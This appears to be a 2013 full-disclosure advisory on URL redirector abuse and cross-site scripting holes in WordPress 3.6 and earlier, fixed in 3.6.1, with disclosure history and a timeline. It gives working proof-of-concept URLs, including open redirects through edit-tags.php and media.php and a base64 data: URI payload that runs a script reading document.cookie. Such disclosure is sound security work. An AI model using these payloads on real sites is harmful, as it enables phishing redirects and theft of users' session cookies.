URL Redirector Abuse and XSS vulnerabilities in WordPress

Hello 3APA3A!

As I've announced earlier (http://seclists.org/fulldisclosure/2013/Nov/219), I conducted a Day of bugs in WordPress 3. At 30.11.2013 I disclosed many new vulnerabilities in WordPress. I've disclosed 10 holes (they were placed at my site for your attention). And this is translation of the third part of these holes.

These are URL Redirector Abuse and Cross-Site Scripting vulnerabilities in WordPress. These are just few from multiple such holes in WP.

I informed WordPress developers about the first two redirector holes in 2007 (and proposed a fix, which I released in my MustLive Security Pack), but they at first ignored them and then hiddenly fixed them in WP 2.3. After my informing about redirectors in 2007 (two ones) and in 2012 (in wp-comments-post.php and Akismet plugin, which is bundled with WP), thus I made a hint that there are a lot of such holes in WP, the developers fixed the first two vulnerabilities in 2007 and vulnerabilities in Akismet and below-mentioned vulnerabilities were fixed only in WP 3.6.1 (at 11.09.2013), when they made "global fix" for all redirectors in engine.

---

Affected products:

Vulnerable are WordPress 3.6 and previous versions (for one Redirector vulnerable are only versions 3.0 - 3.6).

---

Details:

Redirector (URL Redirector Abuse) (WASC-38):

http://site/wp-admin/edit-tags.php?action=delete&_wp_http_referer=http://websecurity.com.ua/?edit-tags.php

XSS (WASC-08):

http://site/wp-admin/edit-tags.php?action=delete&_wp_http_referer=data:text/html;edit-tags.php;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpPC9zY3JpcHQ%2B

Redirector (URL Redirector Abuse) (WASC-38):

Only Redirector is possible, but not XSS (due to filtration of important characters). For the attack it's needed to know value of _wpnonce.

http://site/wp-admin/edit-tags.php?action=add-tag&_wpnonce=096ea8dbbd&_wp_original_http_referer=http://websecurity.com.ua/?edit-tags.php

For this Redirector vulnerable are WordPress 3.0 - 3.6. And for these two vulnerable are WordPress 3.6 and previous versions:

http://site/wp-admin/edit-tags.php?action=bulk-delete&_wpnonce=ebee6d0330&_wp_http_referer=http://websecurity.com.ua/?edit-tags.php

http://site/wp-admin/media.php?action=editattachment&_wpnonce=2fa131c992&_wp_original_http_referer=http://websecurity.com.ua/?upload.php

---

Timeline:

2013.11.30 - disclosed at my site (http://websecurity.com.ua/6907/).

Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua